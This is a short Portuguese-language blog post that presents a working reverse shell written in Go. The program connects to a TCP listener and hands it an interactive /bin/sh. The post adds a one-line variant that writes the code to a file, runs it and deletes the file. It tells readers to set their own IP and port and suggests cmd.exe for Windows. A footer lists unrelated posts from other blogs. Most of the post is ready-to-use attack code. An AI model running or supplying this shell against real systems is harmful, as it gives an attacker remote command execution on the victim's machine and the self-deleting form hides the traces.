golang: reverse shell
Um reverse shell em Golang super simples:
package main
import (
"net"
"os/exec"
}
func main() {
c, _ := net.Dial("tcp","127.0.0.1:8222")
cmd := exec.Command("/bin/sh")
cmd.Stdin = c
cmd.Stdout = c
cmd.Stderr = c
cmd.Run()
}
Claro, troque o IP e a porta para seu dispatcher.
Voce ainda pode minimizar e ter o reverse shell em “uma linha”.
echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go
Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.
Articles from blogs I follow around the net
Nomadic Infrastructure Design for AI Workloads
Taco Bell is a miracle of food preparation. They manage to have a menu of dozens of items that all boil down to permutations of 8 basic items: meat, cheese, beans, vegetables, bread, and sauces. Those basic fundamentals are combined …
via Xe Iaso's blog 2024-11-12 00:00Self-hosted web browser bookmarks syncing
# Introduction This blog post is about Floccus, a self-hosting web browser bookmarks and tabs syncing software. What is cool with Floccus is that it works on major web browsers (Chromium, Google Chrome, Mozilla Firefox, Opera, Brave, Vivaldi and Microso…
via Solene'% 2024-11-05 00:00Game of Trees 0.104 released
Version 0.104 of Game of Trees has been released (and the port updated). * got 0.104; 2024-10-22 see git repository history for per-change authorship information - gotd.conf: document the macro syntax - tog: prevent a segfault upon unexpected object type in re…
via OpenBSD Journal 2024-10-23 07:12Generated by openring
/comments ~umgeher/changelog@lists.sr.ht?Subject=Re: golang: reverse shell
/permalink https://umgeher.org/posts/2022/03/golang-reverse-shell.html